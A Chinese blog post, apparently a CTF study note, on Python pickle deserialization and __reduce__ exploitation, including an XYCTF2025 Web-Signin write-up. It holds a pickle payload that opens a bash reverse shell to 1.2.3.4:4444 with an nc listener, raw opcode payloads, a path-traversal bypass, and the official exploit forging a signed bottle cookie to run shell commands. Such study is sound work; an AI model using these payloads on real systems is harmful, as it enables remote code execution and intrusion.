pickle反序列化

浅尝Pickle反序列化流程及reduce利用 pickle反序列化 阅读详情

最近的XYCTF又吃了没有好好学反序列化的亏,这下真的真的要好好学反序列化了

基本知识

pickle简介

  • 与PHP类似,python也有序列化功能以长期储存内存中的数据。pickle是python下的序列化与反序列化包。
  • python有另一个更原始的序列化包marshal,现在开发时一般使用pickle。
  • 与json相比,pickle以二进制储存,不易人工阅读;json可以跨语言,而pickle是Python专用的;pickle能表示python几乎所有的类型(包括自定义类型),json只能表示一部分内置类型且不能表示自定义类型。
  • pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

可序列化的对象

  • None 、 True 和 False
  • 整数、浮点数、复数
  • str、byte、bytearray
  • 只包含可封存对象的集合,包括 tuple、list、set 和 dict
  • 定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)
  • 定义在模块最外层的内置函数
  • 定义在模块最外层的类
  • __dict__ 属性值或 __getstate__() 函数的返回值可以被序列化的类(详见官方文档的Pickling Class Instances)

object.__reduce__() 函数

  • 在开发时,可以通过重写类的 object.__reduce__() 函数,使之在被实例化时按照重写的方式进行。具体而言,python要求 object.__reduce__() 返回一个 (callable, ([para1,para2...])[,...]) 的元组,每当该类的对象被unpickle时,该callable就会被调用以生成对象(该callable其实是构造函数)。
  • 在下文pickle的opcode中, R 的作用与 object.__reduce__() 关系密切:选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数。其实 R 正好对应 object.__reduce__() 函数, object.__reduce__() 的返回值会作为 R 的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了 R 的。

反序列化的安全问题喵!

这是重点喵~

pickle 在反序列化时,会执行其中包含的任意 Python 代码,这就很危险了!

例如下面这个例子中,恶意构造的对象在被 pickle.loads() 时就会执行任意代码:

python


复制编辑
import pickle
import os

class Evil:
    def __reduce__(self):
        return (os.system, ('calc.exe',))  # Windows下打开计算器

malicious = pickle.dumps(Evil())
pickle.loads(malicious)  # 恶意代码在这里执行

所以!永远不要对不可信的数据使用 pickle.loads()!

CTF和安全中的 pickle 利用

在CTF或漏洞利用里,经常会遇到题目让你构造 pickle 载荷,执行命令或者 RCE(远程代码执行)。

常见方法:

  • 编写带有 __reduce__() 的类;
  • 用 pickletools 分析 payload;
  • 利用 pickle 加上 gadget 链(类似 Java 的反序列化);

还有个好用的库叫 pickletools 可以反汇编 pickle 数据,帮我们分析它做了什么:

python


复制编辑
import pickletools

pickletools.dis(malicious)  # 显示 pickle 字节码执行过程

当你用 pickle.loads() 反序列化一个由别人提供的 pickle 数据时,它可以触发任意类的创建与任意函数的执行。
核心点在于:pickle 会调用对象的 __reduce__() 或 __getstate__() 方法来还原对象。

利用的原理(以 __reduce__() 为主)

__reduce__() 的返回值控制了反序列化时执行什么。

格式如下喵:

python


复制编辑
class Evil:
    def __reduce__(self):
        return (callable_obj, args)

当被 pickle.loads() 处理时,相当于执行:

python


复制编辑
callable_obj(*args)

所以,如果你返回:

python


复制编辑
return (os.system, ('id',))  # Linux举例

就会执行 os.system('id'),相当于 RCE 啦!

注意事项

pickle序列化的结果与操作系统有关,使用windows构建的payload可能不能在linux上运行。比如:

# linux(注意posix):
b'cposix\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'

# windows(注意nt):
b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'

实例:getshell

构造 payload:

python


复制编辑
import pickle
import os

class GetShell:
    def __reduce__(self):
        return (os.system, ('bash -i >& /dev/tcp/1.2.3.4/4444 0>&1',))

payload = pickle.dumps(GetShell())

然后你在自己机器上监听:

bash


复制编辑
nc -lvnp 4444

把 payload 发送到靶机,就能反弹 shell 了

[XYCTF2025]WEB-Signin

源码:

# -*- encoding: utf-8 -*-
'''
@File    :   main.py
@Time    :   2025/03/28 22:20:49
@Author  :   LamentXU 
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
try:
    with open('../../secret.txt', 'r') as f:
        secret = f.read()
except:
    print("No secret file found, using default secret")
    secret = "secret"
app = Bottle()
@route('/')
def index():
    return '''HI'''
@route('/download')
def download():
    name = request.query.filename
    if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
        response.status = 403
        return 'Forbidden'
    with open(name, 'rb') as f:
        data = f.read()
    return data

@route('/secret')
def secret_page():
    try:
        session = request.get_cookie("name", secret=secret)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=secret)
            return 'Forbidden!'
        if session["name"] == "admin":
            return 'The secret has been deleted!'
    except:
        return "Error!"
run(host='0.0.0.0', port=5000, debug=False)

这道题首先是通过目录穿越访问secret.txt获得密钥,直接用./.././.././../绕过过滤得到密钥

Hell0_H@cker_Y0u_A3r_Sm@r7

接下来我就没有思路了,看了wp才知道是反序列化

    def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
        """ Return the content of a cookie. To read a `Signed Cookie`, the
            `secret` must match the one used to create the cookie (see
            :meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
            cookie or wrong signature), return a default value. """
        value = self.cookies.get(key)
        if secret:
            # See BaseResponse.set_cookie for details on signed cookies.
            if value and value.startswith('!') and '?' in value:
                sig, msg = map(tob, value[1:].split('?', 1))
                hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
                if _lscmp(sig, base64.b64encode(hash)):
                    dst = pickle.loads(base64.b64decode(msg))
                    if dst and dst[0] == key:
                        return dst[1]
            return default
        return value or default

这个是bottle框架源码中在鉴权的时候用pickle反序列化了session,所以导致了反序列化的RCE,这里只要签名对的上就能直接进pickle的反序列化

用bottle的cookie_encode生成payload之后拿着这个payload去改session的值,并将请求发送到/secret。随后可以把回显外带(不出网)

官方exp:

from bottle import cookie_encode
import os
import requests
secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"

class Test:
    def __reduce__(self):
        return (eval, ("""__import__('os').system('cp /f* ./2.txt')""",))

exp = cookie_encode(
    ('session', {"name": [Test()]}),
    secret
)

requests.get('http://gz.imxbt.cn:20458/secret', cookies={'name': exp.decode()})

详解python pickle中的反序列化漏洞 反序列化过程有漏洞:如果我们反序列化了一个不可信的数据源,那就可能引发反序列化攻击。攻击者可以在序列化的数据里嵌入恶意代码,当你反序列化这个数据时,这些恶意代码就会被执行,可能会导致数据泄露、系统崩溃,甚至让攻击者远程控制你的系统。Pickle模块是Python自带的,它主要用来序列化和反序列化Python对象。你可以用Pickle把任何Python对象(包括复杂的数据结构)保存成字节流,然后在需要的时候再加载回来。Pickle的工作原理Pickle的工作原理其实很简单。 阅读详情

相关推荐

【实用教程】使用AlphaFold2进行蛋白质结构在线预测

使用Colab进行简单快速的AlphaFold2在线的蛋白质三维结构预测

Eumenidus的博客 14万+

Python pickle 反序列化详解

什么是Python反序列化 python反序列化和php反序列化类似(还没接触过java。。),相当于把程序运行时产生的变量,字典,对象实例等变换成字符串形式存储起来,以便后续调用,恢复保存前的状态 python中反序列化的库主要有两个,pickle和cPickle,这俩除了运行效率上有区别外,其他没啥区别 pickle的常用方法有 import pickle a_list = [‘a’,‘b’,‘c’] pickle构造出的字符串,有很多个版本。在dumps或loads时,可以用Protocol参数指定协

m0_65129142的博客 3445

Ubuntu20.04 高效安装企业微信的完整指南

本文提供了在Ubuntu20.04系统上高效安装企业微信的完整指南,详细介绍了通过Deepin-wine环境运行Windows版企业微信的步骤和优化技巧。内容包括系统环境检查、依赖安装、企业微信包的获取与安装、首次运行配置及常见问题解决方案,帮助开发者在Ubuntu系统中流畅使用企业微信进行办公通讯。

weixin_42568801的博客 353

pickle反序列化漏洞基础知识与绕过简析

的结合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象).其中两个dump函数是把python对象转换为二进制对象的,两个load函数是把二进制对象转换为python对象的.在Python中,面向对象的思想和php是一致的,只是定义类的代码,调用类函数和类属性的方式和php不同.方法且该方法返回一个迭代器对象,那么这个对象就被认为是可迭代的。语言.也就是说在Python中几乎一切皆为对象.这也为我们的绕过提供的不小的便利.

yj520400的博客 1793

Jetson-nano 编译实时内核并烧录

前言 之前一篇文章介绍了正常的烧录过程,使用的是默认内核,实际工作中需要对内核打补丁升级为实时内核,并对其重编译。 一、准备内容 官网大法好 官方内核下载链接 官方交叉编译器下载链接 官方文档 ubuntu主机一台 根据官网选择下载对应的文件, 1、L4TDriver Package (BSP) source jetson内核文件。 2、官方交叉编译器 因为我们不是在jetson上直接编译,而jetson是arm平台,所以要进行交叉编译。 二、使用步骤 1.解压 内核 tar -xjf public_s

ldl371122的博客 3288

华中科技大学 计算机组成原理 educoder Logisim平台 计算机数据表示实验

本文主要是对 计算机数据表示实验的笔记和相关Logisim平台的图,供大家学习交流使用。 需要源文件或者源代码,可以留言评论! 目录实验目的第1关:汉字国标码转区位码实验第2关:汉字机内码获取实验第3关:偶校验编码设计第4关:偶校验解码电路设计第5关:16位海明编码电路设计第6关:16位海明解码电路设计第7关:海明编码流水传输实验第8关:16位CRC并行编解码电路设计第9关:CRC编码流水传输实验实验结果: 实验目的 本实训将帮助同学们巩固对计算机中数据表示方法的理解,要求能设计汉字国标码与区位码之间的转换

weixin_48383580的博客 2万+

python-pickle 序列化和反序列化

我们学习Python必然是为了找到高薪的工作,下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料,并且有阿里大佬给出了权威的解答,刷完这一套面试资料相信大家都能找到满意的工作。pickle.loads()方法跟pickle.load()方法的区别在于,pickle.loads()方法是直接从bytes对象中读取序列化的信息,而非从文件中读取。Python所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

m0_59236602的博客 1113

浅谈车载控制器产线EOL实现方式

1、控制器生产产线上电路检测设计 2、客户总装产线检测设计

u012406840的博客 2万+

浅谈Python Pickle反序列化

序列化说白了就是将对象转换成字节流,便于保存在内存、文件或者是数据库中;反序列化则是序列化的逆过程,将字节流还原成对象。

YJ_12340的博客 1121

python cartopy绘制扇形区域图/cartopy绘制北极部分区域

实际上,这个问题原因还是由于投影转换的问题,在set_extend时,绘制的上下边界仍然是方形、未被正确投影的边界,与我们的set_boundary存在冲突,最根本的原因还是在于cartopy对于投影计算的一些缺陷。另外我们需要指出的是:**该方法不适用于极地投影,即NorthPolarStereo,由于NorthPolarStereo本身投影特性只需一个参数,本身并不适合。我们绘制极地投影时,同样也是使用set_boundary绘制圆形边界,那么当我们想要绘制扇形时,可以通过。请根据喜好自行选择,

weixin_43750300的博客 3212

华为MetaERP的交易计税模块(即“税务引擎”)在设计上确实受到Oracle E-Business Tax(EBTax)等国际先进税务架构理念的影响,但结合了华为自身全球化运营、多准则合规、高并发处

华为MetaERP税务引擎在借鉴Oracle EBTax三层架构基础上,创新升级为五层智能税务架构,实现从"税码驱动"到"场景+规则+AI驱动"的转变。该模块采用云原生微服务架构,支持全球190+国家税务规则动态加载,具备实时计税、多准则并行处理、AI风险预警等核心能力,深度适配金税工程等国内合规要求。通过税务数字孪生、RPA机器人等创新,形成自主可控的智能税务中枢,为跨国企业提供全栈国产化税务解决方案,重新定义ERP税务管理范式。

金牌架构师 114

Pickle反序列化

学习反序列化

这个人很懒,什么都懒得写 877

GEE:基于 Landsat 数据集生成(1986-2024)月度合成地表温度(LST)时间序列数据

优快云@_养乐多_本文将介绍使用 Landsat 时间序列计算(1986-2024)月度合成地表温度(LST)时间序列数据集的代码。

养乐多的博客 1714

Python Pickle反序列化漏洞

前言: 刷题的时候做了一道[CISCN2019]ikun的题目,提示考察的知识点是Python Pickle,之前接触的都是有关PHP反序列化,这次就来好好学习一下Python Pickle反序列化漏洞。 基础知识 0x00:Pickle库及函数 pickle是python语言的一个标准模块,实现了基本的数据序列化和反序列化。 pickle模块是以二进制的形式序列化后保存到文件中(保存文件的后缀为.pkl),不能直接打开进行预览。 函数 说明 dumps 对象反序列化为bytes对象

Lemon's blog 5097

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

关于Pickle反序列化总结

1.Pickle反序列化 (1)pickle.dump(obj,file[,protocol]) 序列化对象,并将结果数据流写入到文件对象中,protocol可选择模式,默认为0,文本形式序列化,还可以是1或2,二进制形式序列化。 注:pickle.dumps()将对象obj对象序列化并返回一个byte对象 (2)pickle.load(file) 反序列化对象。注意要让python找到类的定义,否则报错。 注:pickle.loads(),从字节对象中读取被封装的对象 简单示例:...

桃雾雨Rain的博客 2145

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

[watevrCTF-2019]Pickle Store【Pickle反序列化】

文章目录Pickle反序列化简单字符类型的反序列化类的反序列化`__reduce__`命令行下输入命令:python下反弹shell一、curl+base64二、curl -d三、nc 反弹shell 一进来看看Cookie处,果然又是一个session gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGVi

D.MIND 的博客 3272

python pickle反序列化漏洞

前置知识 什么是pickle pickle是Python专用的一个进行序列化和反序列化的工具包,pickle能表示Python几乎所有的类型(包括自定义类型),由一系列opcode组成,模拟了类似堆栈的内存。 与PHP序列化或者JSON,这些以键值对形式存储序列化对象数据的不同,pickle 序列化(Python独有)是将一个 Python 对象及其所拥有的层次结构变成可以持久化储存的二进制数据,无法像JSON 一样直观阅读。在Python中,采用术语 封存 (pickling)和 解封 (unpickli

weixin_43610673的博客 4016

Python pickle反序列化

看下对比。

weixin_74020633的博客 1734

不安全的反序列化_Python Pickle 反序列化安全问题

Python Pickle反序列化安全问题在python中,相比于存储一个数字或者字符串,如果我们想要存储一个字典、列表或者对象,似乎并没有那么容易。但python和PHP等其他语言一样,也提供了一种序列化和反序列化的方法用来解决这个问题:我们可以把他们“序列化”成一种符合特殊规范的字符串,然后将其存储到一个文件当中。当我们想要获取该元素的时候,可以从文件中读取对应的字符串来进行“反序列...

weixin_39595487的博客 1217

Python Pickle 反序列化漏洞

需要注意的一点:注意:对于我们自己定义的class,如果直接以 data=‘aaa’ 的方式赋初值,则这个date不会被打包,解决方案是写一个__init__()方法。python反序列化漏洞的产生和php的魔术方法有异曲同工之处,在Python2中的 __reduce__() 方法,会在每次的反序列化开始或结束时调用。字节码,如果python有写入的权限,那么会生成一个 .pyc 的字节码文件,若没有那就再内存中生成字节码,程序结束后丢弃。(以下称为机器吧)维护了两个东西:栈区和存储区。

qq_46001025的博客 636

【Python】pickle反序列化漏洞

pickle 是 Python 的序列化模块,用于将 Python 对象转换为字节流,以便于存储或传输。反序列化是将字节流还原为对象的过程。然而,pickle 反序列化操作的不安全性在于,它可以执行在字节流中包含的任意代码,而不加以验证和限制。

Elite的博客 1942

python-pickle反序列化详解

pickle 是一种栈语言,有不同的编写方式,基于一个轻量的 PVM(Pickle Virtual Machine)。这里放一下关于pyjail和python安全问题的文章和博客,感兴趣的师傅可以去了解一下。由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。由 Python 的 list 实现,被用来临时存储数据、参数以及对象。由 Python 的 list 实现,被用来临时存储数据、参数以及对象。

Lxw2004的博客 806

python pickle反序列化漏洞_Python Pickle反序列化漏洞

命令执行#模仿Epicccal师傅的例子import pickleimport osclass Test2(object):def __reduce__(self):#被调用函数的参数cmd = "/usr/bin/id"return (os.system,(cmd,))if __name__ == "__main__":test = Test2()#执行序列化操作result1 = pickle...

weixin_39890289的博客 322

Web安全基础学习:Python反序列化漏洞之pickle反序列化

反序列化漏洞是指在反序列化过程中存在潜在安全风险的情况,如果序列化的内容可控,在传递给应用进行反序列化时,可能会导致执行恶意代码或触发其他不受控制的行为。

qq_51862722的博客 1675
上一篇: docker使用
下一篇: python格式化字符串漏洞
-ALe-
博客等级 码龄2年 530粉丝 67原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值